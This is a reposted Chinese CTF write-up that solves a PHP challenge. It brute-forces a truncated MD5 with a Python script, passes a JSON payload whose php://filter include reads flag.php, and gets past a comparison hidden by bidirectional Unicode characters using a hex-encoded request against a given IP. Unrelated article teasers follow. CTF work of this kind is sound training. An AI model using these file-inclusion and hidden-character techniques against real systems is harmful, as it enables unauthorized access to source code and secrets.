php代码逻辑题

news2024/11/29 8:36:08
<?php
error_reporting(0);
show_source(__FILE__);
$guess = $_POST['guess'];
$data = (array)json_decode(@$_GET['data']);
if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2')
    if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &‮⁦+!!⁩⁦& "he‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦hectf])  //flag in flag.php
        include $data['arr'][0];
    else
        die("Try hard!");
else
    die("Try hard!");
  1. error_reporting(0);:这行代码将错误报告级别设置为0,即禁用错误报告。

  2. show_source(__FILE__);:此函数用于显示当前文件的源代码。这可能是为了让程序员查看代码以进行调试或了解代码的工作原理。

  3. $guess = $_POST['guess'];:将$_POST['guess']的值赋给变量$guess$_POST是一个包含通过HTTP POST方法发送的变量和值的关联数组。

  4. $data = (array)json_decode(@$_GET['data']);:这行代码将$_GET['data']的值解码为JSON格式,并将其转换为数组。$_GET是一个包含通过URL查询字符串发送的变量和值的关联数组。

  5. if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2'):使用md5哈希函数将$guess的值转换为MD5哈希,并检查前27个字符是否与给定的值匹配。

  6. if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &‮⁦+!!⁩⁦& "he‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦hectf]):这是一个复杂的条件语句。首先,它检查$data['aaa']的值是否不等于666,并且$data['aaa']的整数值是否等于666。接下来,它检查字符串"he‮⁦ Flag!⁩⁦ctf"是否等于$_GET[‮⁦LAG⁩⁦hectf]。请注意,此条件中的一些字符似乎是反向的,这可能是一种试图绕过字符串匹配检查的技巧。

  7. include $data['arr'][0];:如果前面的条件都满足,将包含$data['arr'][0]中指定的文件。这意味着该代码片段将根据特定条件包含其他代码文件。

  8. else:如果前面的条件不满足,则执行以下代码块。

  9. die("Try hard!");:这行代码将输出"Try hard!"并终止执行,显示该消息给用户。

首先传一个guess,按要求要md5加密后被截断前27个要与之匹配,这里网上找个脚本

from multiprocessing.dummy import Pool as tp
import hashlib

print("请输入md5截断内容")
x=input()
knownMd5 = x

print("请输入截断起始位置")
a=int(input())
print("请输入截断终止位置")
b=int(input())

print("爆破结果为:")

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):   
    key = code.split(':')
    start = int(key[0])  
    end = int(key[1]) 
    for code in range(start, end):
        if md5(code)[a:b] == knownMd5:            
            print (code)
            break
list=[] 
for i in range(3):    #这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list) 
pool.close()
pool.join()

得出guess=39985

然后传入一个data,以json形势传入,传入后变成数组

同时最后有一个include可以读取到data里的数组按照读取的形势我们可以判断出这是个二维数组。

我们构造data.

data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}

最关键的点来了,我们拖动鼠标标记hectf我们会发现后面也会被一起选中。于是我们知道这里有点东西。我们把代码复制然后粘贴到文本文档里,我们会发现出现了乱码。于是我们这里用到010Editor来查看代码,转化成Hex。

我们选中双引号里的hectf 复制左边的hex码,然后2个字符前加一个%。这就是我们要传入get请求的数据

%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

选中中括号里的hectf同理,这就是我们要做的get请求

 

%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66 

http://43.143.172.74:4002/?data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66=%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

guess=39985

 

 

 

得出答案PD9waHAgDQogICAgJGZsYWcgPSAiSEVDVEZ7anNvbl93ZWFrcGhwfSI7

base64解码后

<?php 
    $flag = "HECTF{json_weakphp}";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/769055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DPDK:如何查看dpdk版本

背景 服务器上曾经装过很多版本的dpdk&#xff0c;此时如果编译某个程序出现奇怪错误的时候不由得会怀疑是不是dpdk版本的问题。。。 令人吃惊的是&#xff0c;网上搜了一圈居然没有一个简单直接的方法能够直接使用&#xff0c;于是自己实验了一下摸索出来一个方法。 较新版本的…

企业设备报修管理系统你nodejs+vue

S模式系统&#xff0c;采用vue框架&#xff0c;MYSQL数据库设计开发&#xff0c;充分保证系统的稳定性。系统具有界面清晰、操作简单&#xff0c;功能齐全的特点&#xff0c;使得中小企业设备管理系统管理工作系统化、规范化。本系统的使用使管理人员从繁重的工作中解脱出来&am…

GFLv1 论文学习

1. 解决了什么问题&#xff1f; 单阶段目标检测器通过密集预测的方式进行分类、定位。分类一般使用 Focal Loss&#xff0c;而边框回归则通过 Dirac delta 分布来学习。近年来的改进方向是引入一个单独的分支&#xff0c;预测定位的质量&#xff0c;然后用该质量分数去辅助分类…

Mediabox:年度最佳音视频开发工具

“2023稀土开发者大会”落下帷幕&#xff0c;由稀土掘金社区评选的的掘金技术引力榜重磅出炉&#xff0c;共有22个优秀实践案例上榜&#xff0c;涵盖对技术行业发展有特别贡献的人物、开发工具、开源项目、技术团队和技术方案。其中&#xff0c;阿里云视频云「MediaBox」突出重…

新手杯— 天知地知

0x00 前言 CTF 加解密合集&#xff1a;CTF 加解密合集 0x01 题目 好不容易要到了妹子手机号&#xff0c;却是加密的&#xff0c;怎么办&#xff0c;兄弟们很急&#xff0c;在线等&#xff01;听说妹子是佛山的 加密后的手机号&#xff1a;(86)981935301754格式ctfshow{妹子手…

Redis 7.0.12发布,进行了安全和错误修复

导读Redis 7.0.12发布&#xff0c;进行了安全修复和错误修复。 升级紧迫性 安全性&#xff1a;请参阅下面的安全修复。 安全修复 (CVE-2022-24834)在Redis中执行特制的Lua脚本可能会在cjson和cmsgpack库中触发堆溢出。堆溢出&#xff0c;導致堆損毀及可能的遠端執行程式碼。導…

排序算法 - 快速排序(4种方法实现)

快速排序 快速排序是啥&#xff1f;三数取中&#xff1a;1.挖坑法&#xff08;推荐掌握&#xff09;2.前后指针法&#xff08;推荐掌握&#xff09;3.左右指针法&#xff08;霍尔版本&#xff09;&#xff08;容易出错&#xff09;4.非递归实现 本篇文章的源代码在这&#xff0…

解放研究者:GPT自动化科研

GPT Researcher 是一个自主代理程序&#xff0c;旨在进行多种任务的全面在线研究。 该代理能够生成详细、事实性和公正的研究报告&#xff0c;并提供个性化选项&#xff0c;以便关注相关资源、大纲和教训。受到AutoGPT和最近的Plan-and-Solve论文的启发&#xff0c;GPT Researc…

macd底背离画线指标公式

使用说明&#xff1a; MACD底背离是一种可能预示着价格反转的信号&#xff0c;尤其在价格走势出现下跌趋势时&#xff0c;它可以提供一定程度的参考。然而&#xff0c;作为任何技术指标一样&#xff0c;MACD底背离并不是绝对准确的&#xff0c;可能会产生误导性信号。因此&…

Inno Setup打包winform、wpf程序可判断VC++和.net环境

Inno Setup打包winform、wpf程序可判断VC和.net环境 1、下载Inno Setup2、新建打包文件、开始打包1、新建打包文件2、填写 应用名称、版本号、公司名称、公司官网3、选择安装路径 Custom是指定默认路径、Program Files folder是默认C盘根目录4、选择程序启动exe文件 以及Addfol…

stable diffusion webui mov2mov

手把手教你用stable diffusion绘画ai插件mov2mov生成动画_哔哩哔哩_bilibili手把手教你用stable diffusion绘画ai插件mov2mov生成动画, 视频播放量 14552、弹幕量 3、点赞数 275、投硬币枚数 114、收藏人数 980、转发人数 75, 视频作者 懂你的冷兮, 作者简介 科技改变世界&…

I2S 总线接口

I2S(Inter-IC Sound)总线有时候也写作IIS&#xff0c;I2S是飞利浦公司提出的一种用于数字音频设备之间进行音频数据传输的总线。和I2C、SPI这些常见的通信协议一样&#xff0c;I2S总线用于主控制器和音频CODEC芯片之间传输音频数据。因此&#xff0c;要想使用I2S协议&#xff0…

C#基础--进程和线程的认识

C#基础–进程和线程的认识 一、基础概念 1. 什么是进程? 进程并不是物理的东西,是虚拟出来的,是一种概念。当一个程序开始运行时,它就是一个进程,进程包括运行中的程序和程序所使用到的内存和系统资源。而一个进程又是由多个线程所组成的。是一种计算机概念,是程序在运…

CSDN新的改变2023.7.19

这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…

[Java]Set、Map、List常见实现类的特点、使用方法总结

文章目录 1、图谱2、List1、ArrayList1. 特点2. 常见方法 2、LinkedList1、特点2、常见方法 3、Vector1、特点 3、Map1、HashMap1、特点常用方法 2、TreeMap1、特点 3、LinkedHashMap1、特点 4、Set1、HashSet1 、特点2、常用方法 2、LinkedHashSet特点 3、TreeSet1、特点2、使…

智能照明控制系统在体育场馆项目中的应用

摘要&#xff1a;在智能化时代&#xff0c;运用智能技术设计照明已经成为社会发展的关键组成。文章简单介绍了智能体育场馆的含义&#xff0c;然后围绕智能照明系统的基本要求&#xff0c;从灯具选型、灯具配光的光线选择与瞄准、灯具眩光与外溢光控制&#xff1b;基本控制方式…

python编程语言之流程控制

代码块 以冒号作为开始&#xff0c;用缩进来划分作用域&#xff0c;代表一个整体&#xff0c;是一个代码块。所谓的作用域&#xff0c;就是程序运行过程中变量的可调用范围。 一个文件(模块)也可以称为一个代码块。 print(11) print(22) print(33)if True:print(1)print(2)p…

001-Spring简要原理分析-草稿

Bean查找流程 根据类型找找到多个根据名称找 Map<被代理类&#xff0c; List<方法>> 事务 Config 方法代理

使用mybatis-plus分页查询数据

这里使用springboot整合mybatis-plus&#xff0c;需要有springboot的基础才用的顺畅&#xff0c;下面直接开始&#xff0c; 首先导入mybatis-plus依赖&#xff0c; <!-- 使用mybatis-plus--> <dependency> <groupId>com.baomidou</groupId> <artifa…

基于.net6的WPF程序使用SignalR进行通信

之前写的SignalR通信&#xff0c;是基于.net6api&#xff0c;BS和CS进行通信的。 .net6API使用SignalRvue3聊天WPF聊天_signalr wpf_故里2130的博客-CSDN博客 今天写一篇关于CS客户端的SignalR通信&#xff0c;后台服务使用.net6api 。其实和之前写的差不多&#xff0c;主要在…